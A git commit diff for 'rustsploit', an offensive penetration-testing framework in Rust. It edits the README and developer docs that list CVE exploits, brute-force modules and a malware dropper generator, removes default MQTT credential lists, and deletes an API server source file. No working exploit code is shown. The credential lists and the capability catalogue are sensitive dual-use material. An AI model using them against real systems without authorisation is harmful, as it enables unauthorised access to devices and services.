Compare commits

..

1 Commits

Author SHA1 Message Date
S.B 874d59a0f3 Delete src directory 2025-11-28 22:18:51 +02:00
116 changed files with 2489 additions and 39137 deletions
+22
View File
@@ -0,0 +1,22 @@
name: Rust
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
jobs:
build:
runs-on: Kali
steps:
- uses: actions/checkout@v4
- name: Build
run: cargo build --verbose
- name: Run tests
run: cargo test --verbose
+3 -5
View File
@@ -1,7 +1,7 @@
[package]
name = "rustsploit"
version = "0.3.5"
edition = "2024"
edition = "2021"
build = "build.rs"
[[bin]]
@@ -27,7 +27,6 @@ http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
urlencoding = "2.1"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
@@ -88,7 +87,7 @@ chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
tower-http = { version = "0.6", features = ["cors", "trace"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
@@ -97,8 +96,7 @@ hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.34"
home = "=0.5.11" # pinned for edition 2021 compatibility
[build-dependencies]
regex = "1.11"
+18 -87
View File
@@ -1,4 +1,4 @@
# Rustsploit
# Rustsploit 🛠️
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
@@ -6,10 +6,10 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
@@ -31,23 +31,15 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
## Highlights
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
---
@@ -57,11 +49,11 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
| `lists` | RTSP wordlists and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
@@ -156,57 +148,6 @@ Environment variables are written with 0600 permissions so secrets stay private.
---
## New Features & Improvements
### Framework-Level Enhancements
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
- **Advanced Target Normalization**: The framework now supports:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
All targets are validated for security (DoS prevention, path traversal protection, format validation).
### Module Improvements
- **Telnet Bruteforce**:
- Full Telnet IAC (Interpret As Command) negotiation support
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
- Verbose mode for quick checks showing all attempts and detailed statistics
- Improved buffer handling and memory management
- **RDP Bruteforce**:
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
- Command injection prevention in external tool calls
- **MQTT Bruteforce**:
- Full MQTT 3.1.1 protocol implementation
- Proper CONNECT packet construction with variable-length encoding
- CONNACK response parsing and error classification
- **SSH User Enumeration**:
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
- Statistical analysis with configurable samples and thresholds
- Distinguishes valid/invalid users based on authentication time differences
- **Directory Bruteforcer**:
- High-performance recursive directory scanning
- Custom wordlists with extension appending
- Smart status code filtering and size anomaly detection
- Interactive wizard for easy configuration
- **Sequential Fuzzer**:
- Targeted fuzzing for URLs, headers, and body parameters
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
- Custom charsets (SQL, Traversal, Command Injection)
- Iterative generation for exhaustive coverage
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
@@ -381,20 +322,12 @@ Authorization: ApiKey your-api-key-here
### Security Features
#### Input Validation & Security
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
- **Target Validation:** All targets are validated for length, control characters, and path traversal
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
- Automatic cleanup of expired blocks and entries older than 1 hour
#### Hardening Mode
When `--harden` is enabled:
@@ -402,7 +335,6 @@ When `--harden` is enabled:
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
- Automatic pruning when tracker exceeds 100,000 entries
#### Logging
All API activity is logged to:
@@ -415,7 +347,6 @@ Log entries include:
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
### Example API Workflow
+2407
View File
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
-1
View File
@@ -1 +0,0 @@
+18 -200
View File
@@ -1,4 +1,4 @@
# Rustsploit Developer Guide
# 🛠️ Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
@@ -12,13 +12,12 @@
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Security & Input Validation](#security--input-validation)
8. [Authoring Modules](#authoring-modules)
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
11. [Utilities & Helpers](#utilities--helpers)
12. [Testing & QA](#testing--qa)
13. [Roadmap & Ideas](#roadmap--ideas)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
---
@@ -42,11 +41,9 @@ rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
│ ├── main.rs # Entry point, selects CLI or shell mode
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
│ ├── api.rs # REST API server with auth, rate limiting, and security
│ ├── config.rs # Global configuration with target validation
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
@@ -59,14 +56,13 @@ rustsploit/
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
── rtsphead.txt
│ └── telnet-default/ # Default telnet credentials
── rtsphead.txt
└── README.md # Product overview
```
@@ -138,120 +134,6 @@ If the module needs additional parameters, it can prompt interactively (e.g., br
---
## Security & Input Validation
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
### Input Validation Constants
Located across core modules, these constants enforce safe limits:
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
### Security Patterns
When writing modules or core code, follow these patterns:
#### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
#### 2. Control Character Rejection
```rust
if input.chars().any(|c| c.is_control()) {
return Err(anyhow!("Input cannot contain control characters"));
}
```
#### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
#### 4. Hostname/Target Validation
```rust
// Use the framework's normalize_target function for comprehensive validation
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
```
For manual validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
#### 5. Overflow Protection
```rust
// Use saturating_add to prevent overflow
counter = counter.saturating_add(1);
```
#### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// ... prompt logic
}
```
### API Security
The API server (`api.rs`) implements:
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
- **Rate Limiting:** 3 failed auth attempts = 30 second block
- **Auto-cleanup:** Old entries purged when limits exceeded
- **IP Tracking:** With automatic rotation when suspicious activity detected
### File Operations
When reading files, always:
1. Validate the path doesn't contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading
4. Skip symlinks for security
### Honeypot Detection
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
- Scans 200 common ports with 250ms timeout per port
- If 11+ ports are open, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
This helps operators identify potentially deceptive targets before spending time on them.
---
## Authoring Modules
Every module must export:
@@ -275,7 +157,7 @@ Guidelines:
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### skeleton
### Example skeleton
```rust
use anyhow::{Context, Result};
@@ -305,68 +187,17 @@ pub async fn run(target: &str) -> Result<()> {
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
- **FTP Bruteforce Enhancements**:
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
- JSON configuration system with load/save/validation
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
- Framework `normalize_target()` integration
- **L2TP/IPsec Module**:
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
- Proper IPsec Phase 1/2 and L2TP session management
- L2TPv2 packet crafting with AVP encoding
### Recent Module Enhancements
- **Telnet Module**:
- Full IAC (Interpret As Command) negotiation with proper option handling
- Enhanced error classification with specific error types
- Verbose mode for quick checks with detailed attempt reporting
- Improved buffer handling using `BytesMut` with size limits
- **RDP Module**:
- Streaming failover for password files >150MB
- Comprehensive error classification with 8 error types
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
- Command injection prevention via argument sanitization
- **MQTT Module**:
- Full MQTT 3.1.1 protocol implementation
- Proper variable-length encoding and UTF-8 string encoding
- CONNACK response parsing with error classification
- **SSH User Enumeration**:
- Implements timing-based enumeration inspired by CVE-2018-15473
- Statistical analysis using standard deviation to identify valid users
- precise `tokio::time::Instant` measurements for authentication attempts
- **Directory Bruteforcer**:
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
- Recursive scanning logic with depth control
- Custom `Client` configuration for optimized throughput
- Interactive setup wizard `setup_wizard` guides users through configuration
- **Sequential Fuzzer**:
- Supports versatile payload placement (URL, Header, Body)
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
- Base-N counting algorithm for exhaustive iteration without memory overhead
- Modular `charset` selection (SQL, Traversal, Command Injection)
---
@@ -384,22 +215,9 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
`src/utils.rs` provides:
- **`normalize_target`**: Comprehensive target normalization supporting:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
@@ -432,4 +250,4 @@ Contributions are welcome—open an issue or start a discussion before large ref
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
+17
View File
@@ -44,6 +44,23 @@ Here is the original module that needs to be refactored:
Strict Requirements:
-15
View File
@@ -1,15 +0,0 @@
public
guest
sysadmin
hivemq
emonpimqtt2016
mosquitto
mqttpassword
password
[auto-generated]
[empty]
[printed on PLC]
password
password
password
bitnami
-15
View File
@@ -1,15 +0,0 @@
admin
guest
sysadmin@thingsboard.org
admin
emonpi
mosquitto
mqttuser
admin
homeassistant
DVES_USER
admin
roger
sub_client
pub_client
user
+4 -19
View File
@@ -6,14 +6,10 @@ This directory contains reference lists and helper payloads consumed by modules
## Available Files
| File / Directory | Used By | Description |
|------------------|---------|-------------|
| File | Used By | Description |
|------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables advanced headers, the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
---
@@ -33,16 +29,5 @@ This directory contains reference lists and helper payloads consumed by modules
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
- `snmp-community-strings.txt` for SNMP brute forcing
- `fortinet-users.txt` for Fortinet SSL VPN testing
- `ssh-default-creds.txt` for common SSH credentials
## Security Notes
When contributing wordlists:
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
- **Line format:** One entry per line, use `#` or `//` for comments
Pull requests welcome—please include both the data file and an entry here.
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 435 KiB

After

Width:  |  Height:  |  Size: 116 KiB

-793
View File
@@ -1,793 +0,0 @@
use anyhow::{Context, Result};
use axum::{
extract::{ConnectInfo, Request, State},
http::{HeaderMap, StatusCode},
middleware::Next,
response::{IntoResponse, Response},
routing::{get, post},
Json, Router,
};
use std::net::SocketAddr;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use std::{
collections::HashMap,
path::PathBuf,
sync::Arc,
};
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::{RwLock, Semaphore},
};
use tower::ServiceBuilder;
use tower_http::{
trace::TraceLayer,
limit::RequestBodyLimitLayer,
};
use uuid::Uuid;
use crate::commands;
/// Maximum request body size (1MB) to prevent DoS
const MAX_REQUEST_BODY_SIZE: usize = 1024 * 1024;
/// Maximum number of tracked IPs before cleanup
const MAX_TRACKED_IPS: usize = 100_000;
/// Maximum number of auth failure entries
const MAX_AUTH_FAILURE_ENTRIES: usize = 100_000;
#[derive(Clone, Debug)]
pub struct ApiKey {
pub key: String,
pub created_at: DateTime<Utc>,
}
#[derive(Clone, Debug, Serialize)]
pub struct IpTracker {
pub ip: String,
pub first_seen: DateTime<Utc>,
pub last_seen: DateTime<Utc>,
pub request_count: u32,
}
#[derive(Clone, Debug, Serialize)]
pub struct AuthFailureTracker {
pub ip: String,
pub failed_attempts: u32,
pub first_failure: DateTime<Utc>,
pub blocked_until: Option<DateTime<Utc>>,
}
/// Global limit for concurrent module executions to prevent resource exhaustion
const MAX_CONCURRENT_MODULES: usize = 10;
#[derive(Clone)]
pub struct ApiState {
pub current_key: Arc<RwLock<ApiKey>>,
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
pub execution_limit: Arc<Semaphore>,
}
#[derive(Serialize, Deserialize)]
pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
}
#[derive(Serialize, Deserialize)]
pub struct RunModuleRequest {
pub module: String,
pub target: String,
}
#[derive(Serialize, Deserialize)]
pub struct ListModulesResponse {
pub exploits: Vec<String>,
pub scanners: Vec<String>,
pub creds: Vec<String>,
}
// ----------------------
// Validation utilities
// ----------------------
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
s.truncate(500);
s.push_str("");
}
s
}
fn is_printable_ascii(s: &str) -> bool {
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
}
fn validate_api_key_format(key: &str) -> bool {
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
}
fn validate_module_name(module: &str) -> bool {
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
if module.is_empty() || module.len() > 200 { return false; }
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
return false;
}
let parts: Vec<&str> = module.split('/').collect();
if parts.len() < 2 { return false; }
matches!(parts[0], "exploits" | "scanners" | "creds")
}
fn validate_target(target: &str) -> bool {
if target.is_empty() || target.len() > 2048 { return false; }
if !is_printable_ascii(target) { return false; }
// Basic sanity: avoid spaces at ends and double CRLF injections
let trimmed = target.trim();
trimmed == target && !target.contains("\r\n\r\n")
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
Self {
current_key: Arc::new(RwLock::new(ApiKey {
key: initial_key,
created_at: Utc::now(),
})),
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
auth_failures: Arc::new(RwLock::new(HashMap::new())),
harden_enabled: harden,
ip_limit,
log_file,
execution_limit: Arc::new(Semaphore::new(MAX_CONCURRENT_MODULES)),
}
}
pub async fn rotate_key(&self) -> Result<String> {
let new_key = Uuid::new_v4().to_string();
let mut key_guard = self.current_key.write().await;
key_guard.key = new_key.clone();
key_guard.created_at = Utc::now();
drop(key_guard);
// Clear IP tracker on rotation
let mut tracker_guard = self.ip_tracker.write().await;
tracker_guard.clear();
drop(tracker_guard);
self.log_message(&format!(
"[SECURITY] API key rotated at {}",
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
Ok(new_key)
}
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
if !self.harden_enabled {
return Ok(false);
}
// Validate IP string length
if ip.len() > 128 {
return Ok(false);
}
let mut tracker_guard = self.ip_tracker.write().await;
let now = Utc::now();
// Cleanup old entries if we have too many tracked IPs (memory protection)
if tracker_guard.len() >= MAX_TRACKED_IPS {
// Remove oldest entries (keep most recent half)
let mut entries: Vec<_> = tracker_guard.drain().collect();
entries.sort_by(|a, b| b.1.last_seen.cmp(&a.1.last_seen));
entries.truncate(MAX_TRACKED_IPS / 2);
for (k, v) in entries {
tracker_guard.insert(k, v);
}
let _ = self.log_message(&format!(
"[CLEANUP] Pruned IP tracker from {} to {} entries",
MAX_TRACKED_IPS,
tracker_guard.len()
)).await;
}
if let Some(tracker) = tracker_guard.get_mut(ip) {
// Update existing tracker - use all fields
tracker.last_seen = now;
tracker.request_count = tracker.request_count.saturating_add(1);
// Log detailed tracking info using first_seen
let duration = now.signed_duration_since(tracker.first_seen);
let _ = self.log_message(&format!(
